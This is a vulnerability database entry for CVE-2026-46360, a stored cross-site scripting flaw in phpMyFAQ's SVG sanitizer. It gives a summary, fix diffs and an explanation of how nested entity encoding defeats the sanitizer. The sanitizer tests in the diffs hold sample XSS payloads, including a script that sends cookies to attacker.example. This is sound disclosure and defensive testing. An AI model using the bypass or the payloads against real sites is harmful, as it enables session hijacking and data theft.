CVE-2026-46360
Description
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in SvgSanitizer::decodeAllEntities() that limits recursive entity decoding to 5 iterations, allowing attackers to bypass sanitization. Authenticated users with FAQ_EDIT permission can upload malicious SVG files with deeply nested ampersand encoding around numeric HTML entities to reconstruct javascript: URLs, which execute arbitrary JavaScript when clicked by other users viewing the uploaded SVG.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Stored XSS in phpMyFAQ before 4.1.2 via SVG sanitizer entity decoding depth limit, allowing authenticated users with FAQ_EDIT permission to execute arbitrary JavaScript.
Root
Cause The vulnerability resides in SvgSanitizer::decodeAllEntities(), which limits recursive entity decoding to 5 iterations. An attacker can exploit this by nesting multiple levels of ampersand encoding around numeric HTML entities representing the string "javascript". The 5 iterations are consumed unwinding the ampersand nesting, leaving the numeric entities unresolved. This bypasses both isSafe() detection and subsequent sanitize() removal [1][2].
Exploitation
An authenticated user with FAQ_EDIT permission can upload a specially crafted SVG file via the image upload endpoint. The file contains an ` element with an href attribute value that, after the top-level HTML entity decoding, consists of 5 levels of & encoding around numeric entities (e.g., j for 'j'). The isSafe() method’s pattern matching does not detect the obscured javascript: scheme, so the file is stored without sanitization and served with image/svg+xml content type. When another user views the SVG, the browser’s XML parser fully decodes the remaining numeric entities, reconstructing a clickable javascript:` URL [1].
Impact
Upon clicking the malicious SVG, arbitrary JavaScript executes in the context of the phpMyFAQ origin. This can lead to data theft, session hijacking, or other client-side attacks. The attack requires authentication and FAQ_EDIT privileges, but the impact is limited to users who click the uploaded SVG [2].
Mitigation
The issue is fixed in phpMyFAQ version 4.1.2. Users are advised to update immediately. There is no known workaround besides disabling SVG uploads or restricting FAQ_EDIT permissions [1][2].
AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
327fad8ea4f84fix: removed SVG from allowed image extensions
1 file changed · +1 −1
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ImageController.php+1 −1 modified@@ -43,7 +43,7 @@ public function upload(Request $request): JsonResponse $session = $this->container->get(id: 'session'); $uploadDir = PMF_CONTENT_DIR . '/user/images/'; - $validFileExtensions = ['gif', 'jpg', 'jpeg', 'png', 'webp', 'svg', 'mov', 'mp4', 'webm']; + $validFileExtensions = ['gif', 'jpg', 'jpeg', 'png', 'webp', 'mov', 'mp4', 'webm']; $timestamp = time(); if (!Token::getInstance($session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
79da5ecf051drefactor: replaced custom sanitization with Symfony's HtmlSanitizer
2 files changed · +86 −182
phpmyfaq/src/phpMyFAQ/Filter.php+23 −181 modified@@ -19,6 +19,8 @@ namespace phpMyFAQ; +use Symfony\Component\HtmlSanitizer\HtmlSanitizer; +use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; use Symfony\Component\HttpFoundation\Request; /** @@ -132,192 +134,32 @@ public function filterSanitizeString(string $string): string } /** - * Removes a lot of HTML attributes. + * Sanitizes HTML by allowing safe elements and attributes via Symfony's HtmlSanitizer. */ public static function removeAttributes(string $html = ''): string { - $keep = [ - 'href', - 'src', - 'title', - 'alt', - 'class', - 'style', - 'id', - 'name', - 'size', - 'dir', - 'rel', - 'rev', - 'target', - 'width', - 'height', - 'controls', - ]; - // remove broken stuff $html = str_replace(search: ' ', replace: '', subject: $html); - // Match attributes with double quotes, single quotes, or no quotes - preg_match_all( - pattern: '/[a-z]+\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]+)/iU', - subject: $html, - matches: $attributes, - ); - - foreach ($attributes[0] as $attribute) { - $attributeName = stristr($attribute, needle: '=', before_needle: true); - $attributeName = trim($attributeName); - if (!self::isAttribute($attributeName)) { - continue; - } - - if (in_array($attributeName, $keep, strict: true)) { - continue; - } - - $html = str_replace(' ' . $attribute, replace: '', subject: $html); - } - - return $html; - } - - private static function isAttribute(string $attribute): bool - { - $globalAttributes = [ - 'autocomplete', - 'autofocus', - 'disabled', - 'list', - 'name', - 'readonly', - 'required', - 'tabindex', - 'type', - 'value', - 'accesskey', - 'class', - 'contenteditable', - 'contextmenu', - 'dir', - 'draggable', - 'dropzone', - 'id', - 'lang', - 'style', - 'tabindex', - 'title', - 'inputmode', - 'is', - 'itemid', - 'itemprop', - 'itemref', - 'itemscope', - 'itemtype', - 'lang', - 'slot', - 'spellcheck', - 'translate', - 'autofocus', - 'disabled', - 'form', - 'multiple', - 'name', - 'required', - 'size', - 'autocapitalize', - 'autocomplete', - 'autofocus', - 'cols', - 'disabled', - 'form', - 'maxlength', - 'minlength', - 'name', - 'placeholder', - 'readonly', - 'required', - 'rows', - 'spellcheck', - 'wrap', - 'onmouseenter', - 'onmouseleave', - 'onafterprint', - 'onbeforeprint', - 'onbeforeunload', - 'onhashchange', - 'onmessage', - 'onoffline', - 'ononline', - 'onpopstate', - 'onpagehide', - 'onpageshow', - 'onresize', - 'onunload', - 'ondevicemotion', - 'preload', - 'ondeviceorientation', - 'onabort', - 'onblur', - 'oncanplay', - 'oncanplaythrough', - 'onchange', - 'onclick', - 'oncontextmenu', - 'ondblclick', - 'ondrag', - 'ondragend', - 'ondragenter', - 'ondragleave', - 'ondragover', - 'ondragstart', - 'ondrop', - 'ondurationchange', - 'onemptied', - 'onended', - 'onerror', - 'onfocus', - 'oninput', - 'oninvalid', - 'onkeydown', - 'onkeypress', - 'onkeyup', - 'onload', - 'onloadeddata', - 'onloadedmetadata', - 'onloadstart', - 'onmousedown', - 'onmousemove', - 'onmouseout', - 'onmouseover', - 'onmouseup', - 'controls', - 'onmozfullscreenchange', - 'onmozfullscreenerror', - 'onpause', - 'onplay', - 'onplaying', - 'onprogress', - 'onratechange', - 'onreset', - 'onscroll', - 'onseeked', - 'onseeking', - 'onselect', - 'onshow', - 'onstalled', - 'onsubmit', - 'onsuspend', - 'ontimeupdate', - 'onvolumechange', - 'onwaiting', - 'oncopy', - 'oncut', - 'onpaste', - 'onbeforescriptexecute', - 'onafterscriptexecute', - ]; - - return in_array($attribute, $globalAttributes, strict: true); + $config = (new HtmlSanitizerConfig()) + ->allowSafeElements() + ->allowRelativeLinks() + ->allowRelativeMedias() + ->allowAttribute('class', allowedElements: '*') + ->allowAttribute('style', allowedElements: '*') + ->allowAttribute('id', allowedElements: '*') + ->allowAttribute('dir', allowedElements: '*') + ->allowAttribute('name', allowedElements: '*') + ->allowAttribute('target', allowedElements: 'a') + ->allowAttribute('controls', allowedElements: ['audio', 'video']) + ->blockElement('form') + ->blockElement('input') + ->blockElement('textarea') + ->blockElement('select') + ->blockElement('button'); + + $sanitizer = new HtmlSanitizer($config); + + return $sanitizer->sanitize($html); } }
tests/phpMyFAQ/FilterTest.php+63 −1 modified@@ -271,7 +271,69 @@ public function testRemoveAttributesWithSvgOnload(): void $html = '<svg onload=alert(1)>'; $result = Filter::removeAttributes($html); - $this->assertStringNotContainsString('onload', $result); + $this->assertStringNotContainsString('<svg', $result); + } + + public function testRemoveAttributesStripsScriptTags(): void + { + $html = 'Safe content<script>alert(document.cookie)</script> more content'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<script>', $result); + $this->assertStringNotContainsString('alert(document.cookie)', $result); + $this->assertStringContainsString('Safe content', $result); + $this->assertStringContainsString('more content', $result); + } + + public function testRemoveAttributesStripsIframeTags(): void + { + $html = 'Before<iframe src="https://evil.com"></iframe>After'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<iframe', $result); + $this->assertStringNotContainsString('</iframe>', $result); + $this->assertStringContainsString('Before', $result); + $this->assertStringContainsString('After', $result); + } + + public function testRemoveAttributesStripsObjectEmbedTags(): void + { + $html = '<object data="evil.swf"><embed src="evil.swf"></object>'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<object', $result); + $this->assertStringNotContainsString('<embed', $result); + } + + public function testRemoveAttributesStripsJavascriptUri(): void + { + $html = '<a href="javascript:alert(1)">click</a>'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('javascript:', $result); + $this->assertStringContainsString('click', $result); + } + + public function testRemoveAttributesStripsFormAndBaseTags(): void + { + $html = '<form action="https://evil.com"><input name="q"><base href="https://evil.com">'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<form', $result); + $this->assertStringNotContainsString('<base', $result); + } + + public function testRemoveAttributesHandlesEncodeThenDecode(): void + { + // Simulates the actual vulnerable pipeline: FILTER_SANITIZE_SPECIAL_CHARS -> html_entity_decode -> removeAttributes + $userInput = 'Helpful content<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>'; + $filtered = Filter::filterVar($userInput, FILTER_SANITIZE_SPECIAL_CHARS); + $decoded = html_entity_decode((string) $filtered, ENT_QUOTES | ENT_HTML5, 'UTF-8'); + $result = Filter::removeAttributes($decoded); + + $this->assertStringNotContainsString('<script>', $result); + $this->assertStringNotContainsString('fetch(', $result); + $this->assertStringContainsString('Helpful content', $result); } public function testRemoveAttributesWithMixedQuoteStyles(): void
ee04f197ae4afix: corrected entity encoding
5 files changed · +8 −6
phpmyfaq/assets/templates/default/search.twig+1 −1 modified@@ -80,7 +80,7 @@ {% else %} <p class="text-muted mt-5"> - {{ 'help_search' | translate | raw }} + {{ 'help_search' | translate }} </p> {% endif %} </section>
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php+1 −1 modified@@ -91,7 +91,7 @@ public function search(Request $request): JsonResponse $url = $this->configuration->getDefaultUrl() . 'index.php?action=faq&cat=%d&id=%d&artlang=%s'; $result = []; foreach ($searchResultSet->getResultSet() as $data) { - $data->answer = html_entity_decode(strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8'); + $data->answer = strip_tags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12); $url = sprintf($url, $data->category_id, $data->id, $data->lang); $link = new Link($url, $this->configuration);
phpmyfaq/src/phpMyFAQ/Faq.php+2 −2 modified@@ -579,10 +579,10 @@ public function renderFaqsByFaqIds( $oLink->tooltip = $title; $rowResult->renderedScore = 0; - $rowResult->question = Utils::chopString($title, 15); + $rowResult->question = Utils::chopString(Strings::htmlentities($title), 15); $rowResult->path = ''; $rowResult->url = $oLink->toString(); - $rowResult->answerPreview = $faqHelper->renderAnswerPreview($row->answer, 20); + $rowResult->answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($row->answer, 20)); $lastFaqId = $row->id; $searchResults[] = $rowResult;
phpmyfaq/src/phpMyFAQ/Helper/SearchHelper.php+1 −1 modified@@ -181,7 +181,7 @@ public function getSearchResult(SearchResultSet $searchResultSet, int $currentPa $categoryInfo = $this->Category->getCategoriesFromFaq((int) $resultSet->id); $categoryInfo = array_values($categoryInfo); //Reset the array keys $question = Utils::chopString(Strings::htmlentities($resultSet->question), 15); - $answerPreview = $faqHelper->renderAnswerPreview($resultSet->answer, 20); + $answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($resultSet->answer, 20)); $searchTerm = str_replace( ['^', '.', '?', '*', '+', '{', '}', '(', ')', '[', ']', '"'],
phpmyfaq/src/phpMyFAQ/Search.php+3 −1 modified@@ -246,13 +246,15 @@ public function logSearchTerm(string $searchTerm): void return; } + $sanitizedSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8'); + $dateTime = new DateTime(); $query = sprintf( "INSERT INTO %s (id, lang, searchterm, searchdate) VALUES (%d, '%s', '%s', '%s')", $this->table, $this->configuration->getDb()->nextId($this->table, 'id'), $this->configuration->getLanguage()->getLanguage(), - $this->configuration->getDb()->escape($searchTerm), + $this->configuration->getDb()->escape($sanitizedSearchTerm), $dateTime->format('Y-m-d H:i:s'), );
Vulnerability mechanics
Root cause
"The custom SvgSanitizer::decodeAllEntities() limits recursive entity decoding to 5 iterations, allowing deeply nested ampersand-encoded numeric HTML entities to bypass sanitization and reconstruct javascript: URLs."
Attack vector
An authenticated user with FAQ_EDIT permission uploads a malicious SVG file containing a deeply nested ampersand-encoded payload around numeric HTML entities (e.g., `javascript:...`). The SvgSanitizer's recursive entity decoder stops after 5 iterations, leaving the encoded `javascript:` URL intact. When another user views the uploaded SVG, the reconstructed `javascript:` URL executes arbitrary JavaScript in their browser [CWE-79]. The attack requires no special network position beyond normal web access and relies on user interaction (clicking the crafted link or SVG element).
Affected code
The vulnerability centers on the custom `SvgSanitizer::decodeAllEntities()` method (not shown in the patches but referenced in the advisory) and the `removeAttributes()` method in `phpmyfaq/src/phpMyFAQ/Filter.php` [patch_id=1068626]. The `ImageController::upload()` method in `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ImageController.php` previously allowed SVG file uploads [patch_id=1068625]. Additional output encoding gaps exist in `Faq.php`, `Search.php`, `SearchHelper.php`, and `SearchController.php` [patch_id=1068627].
What the fix does
Patch [patch_id=1068625] removes `svg` from the list of allowed image file extensions in `ImageController.php`, preventing SVG uploads entirely. Patch [patch_id=1068626] replaces the custom `removeAttributes()` method with Symfony's `HtmlSanitizer`, which provides robust, library-grade sanitization that strips dangerous elements like `<script>`, `<iframe>`, `<object>`, `<embed>`, and `javascript:` URIs. Patch [patch_id=1068627] applies `Strings::htmlentities()` to FAQ question, answer preview, and search term outputs, and removes the unsafe `html_entity_decode()` call in `SearchController.php`, ensuring that stored content is properly encoded before rendering.
Preconditions
- authAttacker must be authenticated with FAQ_EDIT permission to upload SVG files.
- inputAttacker must craft an SVG file with deeply nested ampersand-encoded numeric HTML entities that bypass the 5-iteration recursive entity decoding limit.
- networkStandard HTTP/HTTPS access to the phpMyFAQ instance is sufficient.
Generated on May 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.